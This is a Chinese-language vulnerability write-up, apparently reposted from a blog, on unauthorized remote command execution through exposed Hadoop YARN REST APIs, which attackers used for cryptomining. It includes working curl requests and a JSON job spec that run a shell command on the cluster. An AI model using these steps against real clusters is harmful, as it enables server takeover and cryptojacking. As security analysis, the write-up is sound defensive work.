一、背景
5月5日腾讯云安全团队曾针对攻击者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行攻击,攻击者可以在未授权的情况下远程执行代码的安全问题进行预警,在预警的前后我们曾多次捕获相关的攻击案例,其中就包含利用该问题进行挖矿,我们针对其中一个案例进行分析并提供响应的安全建议和解决方案。
二、漏洞说明
Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。
YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。
攻击步骤:
1.申请新的application
直接通过curl进行POST请求
curl -v -X POST ‘http://ip:8088/ws/v1/cluster/apps/new-application’
返回内容类似于:
{“application-id”:”application_1527144634877_20465″,”maximum-resource-capability”:{“memory”:16384,”vCores”:8}}
2.构造并提交任务
构造json文件1.json,内容如下,其中application-id对应上面得到的id,命令内容为尝试在/var/tmp目录下创建11112222_test_111122222文件,内容也为111:
<此处json一定要格式化,也可以通过burp提交,前两次使用curl提交都报错了>
{
"am-container-spec": {
"commands": {
"command": "echo '111' > /var/tmp/11112222_test_11112222"
}
},
"application-id": "application_1527144634877_20465",
"application-name": "test",
"application-type": "YARN"
}
然后直接
curl -s -i -X POST -H ‘Accept: application/json’ -H ‘Content-Type: application/json’ http://ip:8088/ws/v1/cluster/apps –data-binary @1.json
即可完成攻击,命令被执行,在相应目录下可以看到生成了对应文件
———————
原文:https://blog.csdn.net/xiaolong_4_2/article/details/81839551